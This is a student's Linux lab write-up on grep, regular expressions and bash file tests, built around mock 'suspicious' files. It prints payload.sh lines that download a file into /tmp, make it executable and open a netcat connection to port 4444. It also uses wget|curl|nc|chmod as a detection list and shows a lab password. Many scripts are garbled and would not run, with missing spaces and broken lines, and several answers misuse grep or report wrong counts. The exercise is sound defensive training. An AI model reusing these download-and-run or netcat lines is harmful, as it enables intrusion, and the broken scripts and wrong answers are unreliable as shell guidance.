Linux OS and Scripting
LAB Assignment 3

Name: Shreyas S Sanil

Roll No: 261100690003

Subject: Linux OS and Scripting

Part A — Basic grep

Exercise 1 — Search File Contents

Using payload.sh:

Find the line containing wget.

```
grep "wget" payload.sh
wget http://update-server.local/package.dat -O /tmp/package.dat
```

Find the line containing nc.

```
grep "nc" payload.sh
echo "Starting maintenance"
nc 192.168.10.50 4444
```

Find the line containing chmod.

```
grep "chmod" payload.sh
chmod +x /tmp/package.dat
```

Search for WGET ignoring case.

```
grep -i "WGET" payload.sh
wget http://update-server.local/package.dat -O /tmp/package.dat
```

Display the line numbers containing /tmp.

```
grep -n "/tmp" payload.sh
3:TEMP_DIR="/tmp/system_cache"
6:wget http://update-server.local/package.dat -O /tmp/ package.dat
9:chmod +x /tmp/package.dat
```

Count the number of lines containing /tmp.

```
grep -c "/tmp" payload.sh
3
```

Display only the matched word wget.

```
grep -o "/tmp" payload.sh
 /tmp
 /tmp
 /tmp
```

Search for nc as a whole word.

```
grep -w "/tmp" payload.sh
TEMP_DIR="/tmp/system_cache"
wget http://update-server.local/package.dat -O /tmp/package.dat
chmod +x /tmp/package.dat
```

Exercise 2 — Compare Files

Search for wget in:

payload.sh

update.sh

cleanup.sh

Which file contains wget?

```
grep -l "wget" payload.sh update.sh cleanup.sh
payload.sh
```

Which files do not contain wget?

```
grep -L "wget" payload.sh update.sh cleanup.sh
update.sh
cleanup.sh
```

Repeat the search for /tmp.

```
grep -i "/tmp" *.sh
cleanup.sh:rm /tmp/application.tmp
cleanup.sh:rm /tmp/old_cache.tmp
payload.sh:TEMP_DIR="/tmp/system_cache"
payload.sh:wget http://update-server.local/package.dat -O /tmp/ package.dat
payload.sh:chmod +x /tmp/package.dat
```

Which files contain /tmp?

```
grep -L "/tmp" payload.sh update.sh cleanup.sh
update.sh
```

Exercise 3 — Inverse Search

Using system.log:

Display all lines that do not contain INFO.

```
grep -v "INFO" system.log
WARNING Disk usage reached 80 percent
ERROR Backup operation failed
WARNING Unusual file activity detected
```

```
ERROR Permission denied while accessing file
FAILED Security update installation
```

Display all lines that do not contain ERROR.

```
grep -v "ERROR" system.log
INFO System started successfully
INFO User student logged in
WARNING Disk usage reached 80 percent
INFO Backup process started
INFO User admin logged in
WARNING Unusual file activity detected
INFO System scan completed
FAILED Security update installation
INFO System shutdown initiated
```

Display all lines except those containing WARNING.

```
grep -v "WARNING" system.log
INFO System started successfully
INFO User student logged in
INFO Backup process started
ERROR Backup operation failed
INFO User admin logged in
ERROR Permission denied while accessing file
INFO System scan completed
FAILED Security update installation
INFO System shutdown initiated
```

Count the number of non-INFO entries.

```
grep -v -c "INFO" system.log
5
```

Part B — Security Log Analysis

Exercise 4 — Analyze system.log

Using grep:

Find all ERROR entries.

```
grep "ERROR" system.log
ERROR Backup operation failed
ERROR Permission denied while accessing file
```

Find all WARNING entries.

```
grep "WARNING" system.log
WARNING Disk usage reached 80 percent
```

```
WARNING Unusual file activity detected
```

Find the FAILED entry.

```
grep "FAILED" system.log
FAILED Security update installation
```

Count the number of ERROR entries.

```
grep -c "ERROR" system.log
2
```

Display line numbers containing WARNING.

```
grep -n "WARNING" system.log
3:WARNING Disk usage reached 80 percent
7:WARNING Unusual file activity detected
```

Search for error irrespective of case.

```
grep -i "error" system.log
ERROR Backup operation failed
ERROR Permission denied while accessing file
```

Determine whether the word Malware occurs in the file without displaying output.

```
grep -q "Malware" system.log
echo $?
1
```

Exercise 5 — Context Investigation

An ERROR event has been detected in system.log.

Display two lines after each ERROR.

```
grep -A 2 "ERROR" system.log
ERROR Backup operation failed
INFO User admin logged in
WARNING Unusual file activity detected
ERROR Permission denied while accessing file
INFO System scan completed
FAILED Security update installation
```

Display two lines before each ERROR.

```
grep -B 2 "ERROR" system.log
WARNING Disk usage reached 80 percent
INFO Backup process started
```

```
ERROR Backup operation failed
INFO User admin logged in
WARNING Unusual file activity detected
ERROR Permission denied while accessing filea
```

Display one line before and one line after each ERROR.

```
grep -C 1 "ERROR" system.log
INFO Backup process started
ERROR Backup operation failed
INFO User admin logged in
WARNING Unusual file activity detected
ERROR Permission denied while accessing file
INFO System scan completed
```

Display two lines around FAILED.

```
grep -C 2 "FAILED" system.log
ERROR Permission denied while accessing file
INFO System scan completed
FAILED Security update installation
INFO System shutdown initiated
```

Why can examining events before and after an error be useful during incident investigation?

Lines before the error reveal the chain of actions or failing dependencies that likely triggered it(root cause). Lines after show how the system reacted — cascading failures, or whether an automated recovery routine kicked in (impact and containment).

Part C — egrep / grep -E

Exercise 6 — Search Multiple Security Events

Using system.log, write a single command to find lines containing: ERROR, WARNING, FAILED

```
grep -E " ERROR|WARNING|FAILED"
system.log
WARNING Disk usage reached 80 percent
WARNING Unusual file activity detected
FAILED Security update installation
```

Exercise 7 — Multiple Suspicious Commands

Using payload.sh, search for any of: wget, curl, nc, chmod using a single extended regular expression.

```
grep -E 'wget|curl|nc|chmod'
payload.sh
```

```
echo "Starting maintenance"
wget http://update-server.local/package.dat -O /tmp/package.dat
nc 192.168.10.50 4444
chmod +x /tmp/package.dat
```

Answer:

Which patterns were found?

wget, nc, and chmod

Which pattern was not found?

curl — it does not appear anywhere in payload.sh

How many lines contain at least one of these patterns?

8

Exercise 8 — Search Multiple Files

Search *.sh and *.log files for the word update.

Which files contain at least one selected command?

```
grep -I "update" *.sh *.log
payload.sh:echo "Downloading update"
payload.sh:wget http://update-server.local/package.dat -O /tmp/
package.dat
update.sh:echo "Starting application update"
system.log:FAILED Security update installation
```

Display only the filenames containing matches.

```
grep -l "update" *.sh *.log
payload.sh
update.sh
system.log
```

Display matching lines with line numbers.

```
grep -n "update" *.sh *.log
payload.sh:5:echo "Downloading update"
payload.sh:6:wget http://update-server.local/package.dat -O /
tmp/package.dat
update.sh:2:echo "Starting application update"
system.log:10:FAILED Security update installation
```

Count the matching lines in each file.

```
grep -c "update" *.sh *.log
cleanup.sh:0
payload.sh:2
update.sh:1
system.log:1
```

Part D — patterns.txt

Exercise 9 — Pattern File Investigation

Use patterns.txt to:

Search payload.sh.

```
grep -f patterns.txt payload.sh
echo "Starting maintenance"
wget http://update-server.local/package.dat -O /tmp/package.dat
nc 192.168.10.50 4444
chmod +x /tmp/package.dat
```

Search system.log.

```
grep -f patterns.txt system.log
WARNING Disk usage reached 80 percent
ERROR Backup operation failed
WARNING Unusual file activity detected
ERROR Permission denied while accessing file
FAILED Security update installation
```

Search config.conf.

```
grep -f patterns.txt config.conf
password=LabPassword123
```

Search all .sh files.

```
grep -f patterns.txt *.sh
payload.sh:echo "Starting maintenance"
payload.sh:wget http://update-server.local/package.dat -O /tmp/
package.dat
payload.sh:nc 192.168.10.50 4444
payload.sh:chmod +x /tmp/package.dat
```

Display only filenames containing at least one pattern from patterns.txt.

```
grep -l -f patterns.txt *.sh *.log
config.conf
payload.sh
```

```
system.log
config.conf
```

Display matching lines without printing filenames.

```
grep -h -f patterns.txt *.sh *.log
config.conf
echo "Starting maintenance"
wget http://update-server.local/package.dat -O /tmp/package.dat
nc 192.168.10.50 4444
chmod +x /tmp/package.dat
WARNING Disk usage reached 80 percent
ERROR Backup operation failed
WARNING Unusual file activity detected
ERROR Permission denied while accessing file
FAILED Security update installation
password=LabPassword123
```

Which files contain indicators listed in patterns.txt?

payload.sh, system.log, and config.conf. update.sh and cleanup.sh contain none.

Part E — Regex Using filelist.txt

Exercise 10 — Beginning and End of Line

Using filelist.txt:

Find filenames beginning with malware.

```
grep  '^malware'  filelist.txt
malware1.sh
malware2.sh malwareA.sh
```

Find filenames beginning with script.

```
grep  '^script'  filelist.txt
script1.py
script2.py
```

Find filenames ending in .sh.

```
grep  '\.sh$'  filelist.txt
payload.sh
update.sh
cleanup.sh
malware1.sh
malware2.sh
```

```
malwareA.sh
```

Find filenames ending in .py.

```
grep  '\.py$'  filelist.txt
scanner.py
script1.py
script2.py
```

Find filenames ending in .log.

```
$ grep '\.log$' filelist.txt
system.log
access.log
```

Find filenames beginning with p and ending in .sh.

```
grep '^p.*\.sh$' filelist.txt
payload.sh
```

Exercise 11 — Character Classes

Using filelist.txt:

Find malware1.sh and malware2.sh using one pattern.

```
grep  'malware[12]\.sh'  filelist.txt
malware1.sh
malware2.sh
```

Find filenames containing a digit.

```
grep  [0-9]  filelist.txt
malware1.sh
malware2.sh
script1.py
script2.py
```

Find filenames containing digits 1 or 2.

```
grep  '[12]'  $fl
malware1.sh
malware2.sh
script1.py
script2.py
```

Find filenames beginning with m or p.

```
grep '^[mp]' $fl
```

```
payload.sh
malware1.sh
malware2.sh
malwareA.sh
```

Find filenames beginning with s or u.

```
grep '^[su]' $fl
system.log
update.sh
scanner.py
script1.py
script2.py
```

Exercise 12 — Negated Character Classes

Using filelist.txt:

Find filenames that do not begin with m.

```
grep '^[^m]' $fl
report.txt
system.log
access.log
config.conf
payload.sh
update.sh
cleanup.sh
scanner.py
script1.py
script2.py
notes.pdf
empty.txt
restricted.txt
```

Find filenames that do not begin with m or p.

```
grep '^[^mp]' $fl
report.txt
system.log
access.log
config.conf
update.sh
cleanup.sh
scanner.py
script1.py
script2.py
notes.pdf
empty.txt
restricted.txt
```

Find malware filenames where the character following malware is not a digit.

```
grep 'malware[^0-9]' $fl
malwareA.sh
```

Part F — File Operators

Exercise 13

Write a shell script that accepts a filename and determines whether it exists. Test with payload.sh, report.txt, and unknown.sh.

Script — check_file.sh — positional argument version:

```
#!/bin/bash
if[-e"$1" ]
then
    echo "File exists"
else
    echo "File does not exist"
fi
```

```
./check_file.sh payload.sh
File exists
```

Script — check_file.sh — interactive version:

```
#!/bin/bash
read-p"Enter a filename: " filename
if[-e"$filename" ]
then
    echo"File exists"
else
    echo"File does not exist"
fi
```

```
./check_file.sh
Enter a filename: payload.sh
File exists
```

Exercise14

Write a script that accepts a path and reports whether it is a regular file, a directory, or neither. Test with payload.sh, system.log, quarantine, backup, and unknown.

Script — check_file1.sh:

```
#!/bin/bash
read -p "Enter path: " path
if [ -f "$path" ]; then
```

```
    echo "$path is a file"
elif[-d "$path" ]; then
    echo "$path is a directory"
else
    echo "$path is neither"
fi
```

```
realpath payload.sh
/home/msis/Lab3_grep/payload.sh

/check_file1.sh
Enter path: /home/msis/Lab3_grep/payload.sh
/home/msis/Lab3_grep/payload.sh is a file
```

Exercise 15

Write a script that reports whether a selected file is readable, writable, and executable. Test with payload.sh, update.sh, report.txt, and config.conf. Script — permission.sh:

```
#!/bin/bash
read -p "Enter the filename to check: " file
if [ ! -e "$file" ]
then
echo "Error: File does not exist."
exit 1
fi
echo ""
echo "File: $file"
if [ -r "$file" ]
then
echo "Readable : Yes"
else
echo "Readable : No"
fi
if [ -w "$file" ]; then
echo "Writable : Yes"
else
echo "Writable : No"
fi
if [ -x "$file" ]; then
echo "Executable : Yes"
else
echo "Executable : No"
fi
```

```
./permission.sh
Enter the filename to check: update.sh
File: update.sh
Readable
```

```
:Yes
Writable
:Yes
Executable : No

 ls-ld update.sh-rw-rw-r-- 1 msis msis 148 Aug 21 14:54 update.sh
```

Exercise 16

Compare payload.sh and empty.txt. Write a script that reports whether each file contains data or is empty.

Script — emptyornot.sh:

```
#!/bin/bash
read-p"Enter the filename to check: " file
if[!-e"$file" ]; then
    echo"Error: File '$file' does not exist."
    exit 1
fi
echo ""
echo"File: $file"
if[-s"$file" ]; then
    echo"File contains data"
else
    echo"File is empty"
fi
```

```
 ./emptyornot.sh
Enterthefilename to check: empty.txt
File:empty.txt
Fileisempty

./emptyornot.sh
Enter the filename to check: payload.sh
File: payload.sh
File contains data
```

Part G

Exercise 17 — File Validation Using [ ]

Write a script that accepts a filename and checks, in order: does it exist, is it a regular file, is it readable, and is it non-empty.

Script — filevalidation.sh:

```
#!/bin/bash
read -p "Enter the filename to validate: " file
echo ""
echo "Validating File: $file"
```

```
echo "--------------------------------"
# 1. Check if the file exists
if [ -e "$file" ]; then
echo "1. Exists
: Yes"
else
echo "1. Exists
exit 1
fi
: No (Stopping validation)"
# 2. Check if it is a regular file (not a directory or link)
if [ -f "$file" ]; then
echo "2. Regular File : Yes"
else
echo "2. Regular File : No"
fi
# 3. Check if the file is readable
if [ -r "$file" ]; then
echo "3. Readable
: Yes"
else
echo "3. Readable
fi
: No"
# 4. Check if the file is non-empty (size > 0 bytes)
if [ -s "$file" ]; then
echo "4. Non-empty
: Yes"
else
echo "4. Non-empty
fi
```

```
./filevalidation.sh
Enter the filename to validate: payload.sh
Validating File: payload.sh--------------------------------
1. Exists       : Yes
2. Regular File : Yes
3. Readable     : Yes
4. Non-empty : Yes

 ./filevalidation.sh
Enter the filename to validate: dummy
Validating File: dummy--------------------------------
1. Exists       : Yes
2. Regular File : No
3. Readable     : Yes
4. Non-empty : Yes
```

Exercise 18 — [ ] + grep

Chain the checks from Exercise 17 and, if they all pass, search the file for wget. Test with payload.sh and update.sh.

Script — testgrep.sh:

```
#!/bin/bash
# Check if file exists
if [ ! -e "$1" ]; then
echo "File does not exist."
exit 1
fi
# Check if it is a regular file
if [ ! -f "$1" ]; then
echo "Not a regular file."
exit 1
fi
# Check if it is readable
if [ ! -r "$1" ]; then
echo "File is not readable."
exit 1
fi
# Check if it is non-empty
if [ ! -s "$1" ]; then
echo "File is empty."
exit 1
fi
# Search for "wget"
if grep -q "wget" "$1"; then
echo "Selected indicator detected â investigate further"
else
echo "Selected indicator not detected"
fi
```

```
./testgrep.sh payload.sh
Selected indicator detected â investigate further

./testgrep.sh empty.txt
File is empty.

./testgrep.sh pay.sh
File does not exist.

./testgrep.sh access.log
Selected indicator not detected
```

Part H

Exercise 19 — Repeat File Tests Using [[ ]]

Repeat Exercise 17 using Bash's extended test construct [[ ]] instead of [ ].

Script — conexpression.sh:

```
#!/bin/bash
filename="$1"
if[[ -f "$filename" ]]; then
    echo "File exists and is a regular file."
else
    echo "File does not exist or is not a regular file."
fi
```

```
./conexpression.sh payload.sh
File exists and is a regular file.

./conexpression.sh dummy
File does not exist or is not a regular file.
```

Exercise 20 — Regex Using [[ ]]

Write a script that accepts a filename and checks whether it ends in .sh, using [["$filename" =~ regex]]. Test with payload.sh, scanner.py, and report.txt.

Script — tochecksh.sh:

```
#!/bin/bash
filename="$1"
if[[ "$filename" =~ \.sh$ ]]; then
    echo "Shell script identified for inspection"
else
    echo "File does not have a .sh extension"
fi
```

```
./tochecksh.sh payload.sh
Shell script identified for inspection

./tochecksh.sh access.log
File does not have a .sh extension
```

Exercise 21 — Multiple Extensions Using [[ ]]

Extend the previous script to recognize .sh, .py, and .pl files. Test with payload.sh, scanner.py, report.txt, and config.conf. Rather than flagging these as malicious, the brief calls for a softer verdict: "Script file – inspect if required."

Script — checkextention.sh:

```
#!/bin/bash
read-p "Enter the filename: " filename
if[["$filename" == *.sh || "$filename" == *.py || "$filename"
==*.pl ]]
then
    echo "$filename is a script file."
else
    echo "$filename is not a script file."
fi
```

```
./checkextention.sh
Enter the filename: payload.sh
payload.sh is a script file.

./checkextention.sh
Enter the filename: scanner.py
scanner.py is a script file.

./checkextention.sh
Enter the filename: report.txt
report.txt is not a script file.

 ./checkextention.sh
Enter the filename: config.conf
config.conf is not a script file.
```

Part I — grep + File Operators + Constructs

Exercise 22 — Executable File Content Analysis

Write a script that checks whether a file exists, is a regular file, and is executable — and, only if executable, searches it for wget.

Script — 22.executable.sh:

```
#!/bin/bash
read -p "Enter the filename to check: " FILE
if [ -z "$FILE" ]; then
    echo "Error: No filename entered."
    exit 1
fi
# 1. Check whether the file exists
if [ ! -e "$FILE" ]; then
    echo "File '$FILE' does not exist."
    exit 0
fi
# 2. Check whether it is a regular file
if [ ! -f "$FILE" ]; then
    echo "File '$FILE' exists, but it is not a regular file."
    exit 0
```

```
fi
echo "File '$FILE' exists and is a regular file."
# 3. Check whether it is executable
if [ -x "$FILE" ]; then
    echo "File '$FILE' is executable."
    # 4. If executable, search for the word 'wget' inside the
file
    if grep -q "wget" "$FILE"; then
        echo "Search result: 'wget' was found inside '$FILE'."
    else
        echo "Search result: 'wget' was NOT found inside
'$FILE'."
    fi
else
    echo "File '$FILE' is not executable. Skipping 'wget'
search."
fi
```

```
./22.executable.sh
Enter the filename to check: access.log
File 'access.log' exists and is a regular file.
File 'access.log' is not executable. Skipping 'wget' search.
```

Exercise 23 — egrep + File Operators

Only run a content scanifthefileisaregular file, readable, and non-empty. If it passes, use grep -E to search forwget|curl|nc|chmod.

Script — typefile.sh:

```
#!/bin/bash
read-p"Enter thefilepath: "file
#Checkiffileisaregularfile,readable, and non-empty
if[-f"$file"]&&[-r"$file"]&&[-s "$file" ]; then
    ifgrep-qE'wget|curl|nc|chmod'"$file"; then
        echo"Oneormoreselectedindicators detected"
    else
        echo"Selectedindicatorsnotdetected"
    fi
else
    echo"Filedoesnotmeettherequired conditions."
fi
```

```
./typefile.sh
Enter the filepath:payload.sh
One or moreselectedindicatorsdetected
```

Part J — Configuration File Investigation

Exercise 24 — Sensitive Information Search

Verify that config.conf exists, is a regular file, is readable, and is non-empty. Then search it for password or username.

Script — 24.config.sh:

```
#!/bin/bash
# Check if config.conf exists, is a regular file, is readable,
and is not empty
if [ -f "config.conf" ] && [ -r "config.conf" ] && [ -s
"config.conf" ]; then
    echo "config.conf exists, is readable, and is not empty."
    # Search for password or username
    echo -e "\nMatching lines:"
    grep -E "password|username" config.conf
else
    echo "Error: config.conf does not exist, is not readable,
or is empty."
fi
```

```
./24.config.sh
config.conf exists, is readable, and is not empty.
Matching lines:
username=admin
password=LabPassword123
```

Part K

Exercise 25 — Suspicious File Triage

Write file_check.sh: prompt for a filename and run a full investigation — existence, file type, permissions, size, a targeted wget search, a combined wget|curl|nc|chmod search using $?, and a .sh extension check using [[ ]] — then print a summary.

Script — file_check.sh:

```
#!/bin/bash
# Ask user for filename
read -p "Enter filename: " filename
echo
echo "----- FILE INVESTIGATION -----"
echo
# Initialize variables
exists="No"
regular_file="No"
directory="No"
readable="No"
writable="No"
executable="No"
```

```
non_empty="No"
shell_script="No"
# Check if path exists
if [ -e "$filename" ]; then
exists="Yes"
fi
# Check if it is a regular file
if [ -f "$filename" ]; then
regular_file="Yes"
fi
# Check if it is a directory
if [ -d "$filename" ]; then
directory="Yes"
fi
# If it is a regular file, check readability, writability,
executability, and non-emptiness
if [ "$regular_file" = "Yes" ]; then
if [ -r "$filename" ]; then
    readable="Yes"
   fi
   if [ -w "$filename" ]; then
      writable="Yes"
   fi
   if [ -x "$filename" ]; then
      executable="Yes"
   fi
   if [ -s "$filename" ]; then
      non_empty="Yes"
   fi
fi
# Check if filename ends with .sh
if [[ "$filename" =~ \.sh$ ]]; then
   shell_script="Yes"
fi
# Display summary
echo "Exists       : $exists"
echo "Regular File : $regular_file"
echo "Directory    : $directory"
echo "Readable     : $readable"
echo "Writable     : $writable"
echo "Executable   : $executable"
echo "Non-empty    : $non_empty"
echo "Shell Script : $shell_script"
echo
# If readable and non-empty, search for wget, then wget|curl|
nc|chmod, checking $? each time
if [ "$readable" = "Yes" ] && [ "$non_empty" = "Yes" ]; then
   echo "Search for 'wget':"
   grep -q "wget" "$filename"
   if [ $? -eq 0 ]; then
```

```
        echo " -> Found"
    else
        echo " -> Not found"
    fi
echo "Search for 'wget|curl|nc|chmod':" grep
-Eq  "wget|curl|nc|chmod"  "$filename"  if  [
$? -eq 0 ]; then
echo " -> Found"
else
echo " -> Not found"
fi
fi
```

```
./file_check.sh
Enter filename: payload.sh----- FILE INVESTIGATION ----
Exists
: Yes
Regular File : Yes
Directory
: No
Readable
Writable
Executable
Non-empty
: Yes
: Yes
: Yes
: Yes
Shell Script : Yes
Search for 'wget':-> Found
Search for 'wget|curl|nc|chmod':-> Found
```